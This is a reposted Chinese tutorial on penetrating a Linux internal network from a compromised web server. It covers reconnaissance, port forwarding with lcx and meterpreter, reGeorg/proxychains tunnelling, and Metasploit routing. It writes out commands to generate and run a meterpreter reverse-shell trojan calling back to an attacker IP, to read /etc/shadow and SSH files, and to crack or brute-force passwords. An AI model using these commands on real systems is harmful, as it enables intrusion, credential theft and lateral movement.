【轉】linux內網滲透思路


前言:

對內網滲透了解不多,玩的最多的也是用Regeorg 來玩。

下面的內容轉載自先知安全技術社區,作者是nMask


 

收集測試網絡環境

 當我們拿到一台目標內網服務器,或者說肉雞服務器,首先要做的就是收集信息。而在我看來需要收集的信息中,最重要的之一便是肉雞的網絡環境。

實驗環境

首先介紹下本次測試的服務器環境:

  • 攻擊機Mac:110.xx.xx.xx 外網

  • 肉雞centos:192.168.16.x 目標內網16網段系統

  • 內網滲透范圍:192.168.17.0/24 目標內網17網段系統

本次測試模擬假設:由於肉雞服務器上對外開放了存在漏洞的web應用,被入侵植入webshell。
本次測試目的:通過肉雞服務器上的shell,深入滲透內網17網段的服務器。

收集測試哪些網絡數據?

  ok,目前我已經擁有了肉雞的shell,那么該收集肉雞服務器的哪些網絡環境呢?又該如何去測試?我認為至少要收集以下幾點網絡環境信息:

  • 肉雞服務器與外網的連通性

  • 肉雞服務器與內網其他網段的連通性

  • 肉雞服務器與外網之間是否有端口訪問限制

  • 肉雞服務器與內網其他網段之間是否有端口訪問限制

注:連通性主要是指能否ping通,需要雙方互相ping測試;端口訪問限制,指的是目標網絡邊界是否有堡壘機或者防火牆,對進出的端口是否有做限制。

端口訪問限制測試

ping測試這里不介紹了,主要說下如何測試端口訪問限制,可以使用的工具如下:

  • curl、wget(可連接web服務,主要為80、443、8000+端口)

  • telnet(可主動連接指定ip的指定port)

  • nmap(可掃描端口,open或者filter)

  • ncat(可以創建端口監聽,也可以主動連接)

  • python(可主動創建端口監聽)
    ……

在測試端口訪問限制前,我們先要搞清楚當前的網絡環境。本次測試中,攻擊機在外網而肉雞在內網,因此正常情況下攻擊機是無法直接訪問到肉雞上某個端口的(需要網絡邊界路由器做端口映射)。

反向連接測試

我們在測試端口訪問限制時,首先可以利用ncat在攻擊機上監聽一個端口。

ncat -l -p 9999

然后利用ncat或者telnet等工具在肉雞上嘗試連接,我稱之為反向連接測試。

ncat 110.xx.xx.xx 9999

注:監聽的端口可以隨機選取,盡量選取多個端口嘗試多次;如果肉雞能夠訪問攻擊機的任何端口,說明目標網絡邊界沒有對出方向的連接做限制,了解這方面的信息對后面的端口轉發有很大好處。

正向連接測試

  我們也可以在肉雞上監聽一個端口,攻擊機上嘗試連接(這里連接的是肉雞的外網ip地址,肉雞對外開放的web應用肯定是以一個外網ip或者域名的形式存在,而該ip在本次測試中並不是肉雞真正的ip地址,是目標邊界網絡設備的ip,原理是通過端口映射將網絡設備(外網ip)上的web端口映射到了肉雞(內網ip)的web端口上),我稱之為正向連接測試。
  嘗試連接肉雞外網地址的端口,意義在於有些粗心的管理員會在網絡設備上設置全端口映射,也就是說肉雞上監聽任何端口都能映射到網絡邊界設備的相同端口上,那么這跟肉雞服務器直接處在外網就沒差了。

收集服務器信息

收集信息可以說是滲透測試的第一步,內網滲透也一樣,收集的服務器信息越多,滲透的成功率就越大。

查看系統內核

linux系統上查看內核版本如下:

lsb_release –a

  一般系統的入侵途徑是先提權,而提權可以通過linux內核漏洞進行,因此可以先查看linux內核版本,然后根據內核尋找exp的網站,上傳exp進行提權。由於本次測試不涉及提權部分,因此不做測試,另外補充一句:內核提權有宕機風險,請謹慎操作。

查看操作系統位數

linux系統上查看位數如下:

getconf LONG_BIT

說明:知道系統是32位還是64位對后期生成msf木馬有幫助。

系統敏感信息

收集一些系統相關的敏感信息,比如賬號密碼、日志、歷史命令、ssh文件等。

/etc/shadow
/etc/passwd
/var/log
history
.ssh
......

web敏感信息

如果服務器存在web應用,可以查看web目錄下是否存在敏感信息,比如連接數據庫的配置文件等等。

內網掃描

  當信息收集完成后,可以嘗試掃描一下內網的機器,比如主機存活掃描、端口掃描、arp掃描等。端口掃描可以使用nmap、msf等工具,但如果服務器上沒有安裝這些工具時,通常有3種手段可以達到內網端口掃描的效果。第一種就是服務器上安裝掃描工具,這里不多說也不推薦,因為動靜大且麻煩;第二種就是端口轉發,將服務器內網端口轉發到外網進行掃描;第三種就是代理掃描,也就是把裝有掃描工具的攻擊機代理到目標內網環境。
  無論是端口轉發掃描還是代理掃描,原理都是打通攻擊機(外網)與肉雞(內網)的連通性,即讓攻擊機可以直接訪問到肉雞所在的內網資源。這里的連接不借助於目標網絡邊界設備的端口映射功能,因此與攻擊機訪問肉雞web服務所產生的連接有所區別。

端口轉發

  想要達到以上所介紹的彼此”直接”的連接,我們需要一個中間的橋梁,來傳遞內外網(攻擊機與肉雞)之間的數據。搭建這種橋梁的方式有很多,我們首先可以想到端口轉發,即把肉雞服務器上的某個端口轉發到攻擊機的某個端口上,這樣攻擊機上訪問本機某個端口,就相當於訪問了肉雞服務器上的某個端口。

端口轉發的工具:lcx、meterpreter等,具體用法后面會介紹
端口轉發類型:tcp端口轉發、http轉發、ssh轉發等

tcp端口轉發

本機轉發:攻擊機上監聽2222、3333端口,肉雞上連接攻擊機的2222端口,並轉發肉雞22端口。
轉發連接原理:

肉雞22端口<-->肉雞隨機高端口<-->肉雞隨機高端口<-->攻擊機上2222高端口<-->攻擊機隨機高端口<-->攻擊機3333端口

注:此時我們去連接攻擊機的3333端口,就相當於連接了肉雞的22端口。

遠程轉發:攻擊機上監聽2222、3333端口,肉雞上連接攻擊機的2222端口,並轉發內網目標服務器的22端口。(前提是肉雞能夠連接目標服務器的22端口)
轉發連接原理:

內網目標服務器22端口<-->肉雞隨機高端口<-->肉雞隨機高端口<-->攻擊機上2222高端口<-->攻擊機隨機高端口<-->攻擊機3333端口

注:此時我們去連接攻擊機的3333端口,就相當於連接了目標服務器的22端口。
說明:從上面的連接過程不難看出,端口轉發比較難以防范的原因就在於,攻擊機上監聽的端口是隨機的,不可預知的,因此不可能事先在堡壘機或者防火牆上做出方向的端口策略,除非禁止服務器訪問外部所有端口(現實情況大多只對進方向的端口連接做限制)。

http轉發

  有些安全意思強的管理員,會對一些服務器做禁止訪問外網的策略,即服務器禁止連接任何外網的端口。此時普通的tcp端口轉發就沒有效果了,因為轉發的前提是要能互相連接上。此種情況,可以使用http轉發。
轉發連接原理:

肉雞web端口(80)<-->網絡邊界設備端口(80)<-->攻擊機隨機端口

注:這里之所以能夠連通,是借助了服務器上的web服務,以及網絡邊界設備的映射功能。

說明:雖然肉雞不能訪問外網任何端口,但只要它對外提供web服務,就說明它還能跟外界通信,只不過這種通信局限於web服務端口中,並且肉雞不是直接跟攻擊機通信,而是借助了邊界設備。

代理掃描內網

  以上介紹了幾種端口轉發的使用以及原理,從中我們不難看出端口轉發固然厲害,但也很局限,因為每次都只能轉發一個ip的一個端口,對於掃描來說,並不是最好的選擇方案。因此出現了一種更好的技術方案–代理掃描,其原理與端口轉發差不多,都是需要搭建一個橋梁,而這個橋梁往往不是某個端口,而是shell或者說session。

代理掃描同樣可以分為tcp代理掃描、http代理掃描。

http代理轉發

如果目標服務器有web系統,可以使用Regeorg + proxychains。
工具下載:reGeorg、proxychains
將reGeorg的tunnel文件上傳到肉雞服務器到網站目錄下,攻擊機執行:

python reGeorgSocksProxy.py -p 2333 -u http://test.com/tunnel.php

然后修改proxychains.conf 配置文件

vim /etc/proxychains.conf   (mac上在~/.proxychains/proxychains.conf ,沒有則自己創建)

在最后一行添加socks5 127.0.0.1 2333(與regeorg設置的端口相同)

最后在攻擊機使用掃描工具時,可以在執行的命令前加proxhchains4, 比如:

proxychains4 nmap -sT -Pn -n 192.168.16.0/24

注:此方案適合攻擊者與肉雞服務器都在各自內網環境,攻擊者可以訪問到目標服務器的http服務,通過該http服務進行代理轉發(速度較慢).

tcp代理轉發

思路:通過metasploit木馬反彈一個肉雞的meterpreter shell到攻擊機上,然后在meterpreter shell上設置路由,我們便可以在攻擊機上直接掃描肉雞所在的網段服務器(這里是可以跨網段掃描的)。

生成msf木馬

生成木馬:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=攻擊機ip LPORT=8000 -f elf > shell_8000.elf

由於攻擊機無法訪問肉雞的端口,而肉雞可以訪問攻擊機的端口,因此生成一個反向的木馬。

反彈shell

  攻擊機運行msfconsole,使用exoloit/multi/handler模塊,set payload linux/x86/meterpreter/reverse_tcp跟生成木馬時用的payload一樣。LPORT設置成木馬將要連接的端口,運行后會在攻擊機上監聽一個端口,等待木馬鏈接。
  此時將shell_8000.elf上傳到肉雞服務器上,添加權限后運行木馬將會主動連接上攻擊機監聽的端口,並在攻擊機上獲取一個meterpreter shell。

設置路由

上一步獲取到了一個session,這個session是攻擊機與肉雞相互連接的會話。
查看下肉雞的網絡情況:

run get_local_subnets


添加路由:

run autoroute -s 192.168.16.0/24

查看路由:

run autoroute –p


一般來說,這里設置好路由就可以了,但是有些時候會發現在meterpreter中有效果,但是在msf中失效了,因此可以在msf中再設置一次。(但前提是meterpreter會話要一直存在)將該會話放入后台,進入msf中添加路由。
查看路由:

這里已經是添加好的結果,添加路由命令:

msf exploit(handler) > route add 192.168.16.0 255.255.255.0 12
msf exploit(handler) > route add 192.168.17.0 255.255.255.0 12

注意:12表示session id,由於我們需要訪問17網段,因此這里也要添加17網段的路由。

說明:以上2條路由的意思,是攻擊機如果要去訪問17或者16網段的資源,其下一跳是session12,至於什么是下一條這里不多說了,反正就是目前攻擊機可以訪問內網資源了。

tcp全局代理轉發

  通過以上設置,在msf中可以訪問內網資源了,但也僅限在msf中可以訪問。如果想要其他工具也能使用代理,則要設置全局代理,這需要使用msf框架中的socks4a工具代理,目錄:auxiliary/server/socks4a,然后配合Proxychains ,使用方法跟http代理類似。

注:此代理不是http代理,是tcp代理,因此需要目標服務器或者攻擊者服務器,有一方在外網的環境,不然木馬端口無法連接,也就無法獲取meterpreter shell。

metasploit操作可參考:【滲透神器系列】Metasploit

端口掃描工具

推薦使用metasploit進行tcp代理轉發后,利用msf上面整合的很多掃描模塊,直接進行掃描。
掃描模塊:

  • auxiliary/scanner/portscan  端口掃描

  • scanner/portscan/syn  SYN端口掃描

  • scanner/portscan/tcp  TCP端口掃描
    ……

除此之外,也可以使用nmap等掃描工具,結合tcp全局代理轉發即可。

針對22端口的入侵

  掃描出內網服務器端口后,我們可以首先選擇開放22端口的服務器進行入侵嘗試。攻擊22端口通常有2種方法,第一種是先讀取肉雞明文密碼,再利用明文密碼嘗試登陸;第二種是字典暴力登陸。

嘗試hash破解

如果權限足夠,我們可以順利讀取/etc/shadow文件的內容,然而是密文的,因此可以嘗試用工具破解。

  • John破解hash

  • Hashcat

注:windows下可以使用mimikatz

說明:獲取linux賬號的明文密碼作用很大,因為內網環境管理員可能就那么幾個,不同服務器所設置的密碼也有可能相同,因此可以使用獲取的服務器密碼去嘗試登陸其余開放了22端口的內網服務器。

字典暴力破解

這個沒啥好說的,主要看字典是否強大,以及是否有防止爆破限制。
工具:

  • hydra

  • msf上的相應模塊

針對其他端口的入侵

  除了22端口外,21(ftp)、3306(mysql)、1433(mssql)等都可以通過暴力破解的方式。那么其他段端口呢?比如445、443等,這些則可以通過相應的漏洞進行攻擊,通過可以使用nessus掃描器進行掃描,對發現的漏洞再集合msf上相應的模塊進行攻擊。

針對web服務的入侵

  除了以上的端口外,還有一類端口比較特殊,那就是web服務類的端口,比如80、443、8000+等。由於這些端口上存在web應用,而web應用又是容易存在漏洞的點。因此可以重點尋找內網中存在web服務的服務器,並依照web滲透測試的流程對其web應用進行滲透。

端口轉發的逆襲

  前文介紹了端口轉發技術,但在掃描環節中我並沒有使用這種方案。那么是不是說端口轉發在內網滲透中沒有用武之地呢?
  事實並不是這樣,內網掃描過后的漏洞利用攻擊階段,才是端口轉發真正的舞台。在此階段,我們可以利用端口轉發,將某個存在漏洞的服務器的某個端口轉發出來,單獨攻擊利用。我們可以想到在windows中,利用lcx轉發3389端口,linux下同樣可以轉發22端口,當然更好用的是轉發80端口,達到可以本地訪問內網的web服務,從而繼續web滲透的套路,擴大攻擊面。

meterpreter實現端口轉發

在meterpreter shell中輸入:

meterpreter > portfwd add -l 55555 -r 192.168.16.1 -p 3306

說明:表示將192.168.16.1服務器上的3306端口轉發到本地(攻擊機)的55555端口,然后我們可以在本地運行mysql –h 127.0.0.1 –u root –P 55555 –p 去登陸內網服務器的mysql。其他端口如ssh、ftp等都類似,這個過程跟msf代理很像。

案例

將肉雞的22端口轉發到攻擊機的2222端口,看一下連接情況。
發現攻擊機上監聽了2222端口,連接到了本機其外一個高端口。

肉雞的22端口也連接到了肉雞自己的一個高端口

那么兩台服務器之間的兩個高端口之間是怎么連接的,我想肯定是利用meterpreter會話。因此meterpreter會話就相當於一個中間人,傳遞原本無法傳遞的消息。

lcx端口轉發

攻擊機:

lcx -listen 2222 3333 # 2222為轉發端口,3333為本機任意未被占用的端口

肉雞:

lcx -slave 110.1.1.1 2222 127.0.0.1 3389

110.1.1.1為攻擊機外網ip,2222為轉發端口,127.0.0.1為肉雞內網ip,3389為遠程終端端口 。

內網嗅探

  windows下可以使用cain,linux下可以使用msf中的模塊。當然一般情況下,最好不要用內網嗅探,因為動靜太大,而且可能會影響內網網絡。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM